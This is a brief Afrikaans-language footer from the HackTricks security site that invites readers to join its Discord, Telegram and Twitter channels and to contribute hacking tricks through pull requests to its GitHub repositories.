- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

